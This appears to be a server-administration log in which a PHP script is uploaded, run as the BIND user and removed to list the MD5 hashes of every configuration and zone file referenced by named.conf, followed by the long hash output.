MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-30 00:11:51: Establishing a connection
2025-08-30 00:11:51: 

PUT: /tmp/pkp948512

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-30 00:11:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp948512; rm /tmp/pkp948512'

2025-08-30 00:11:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
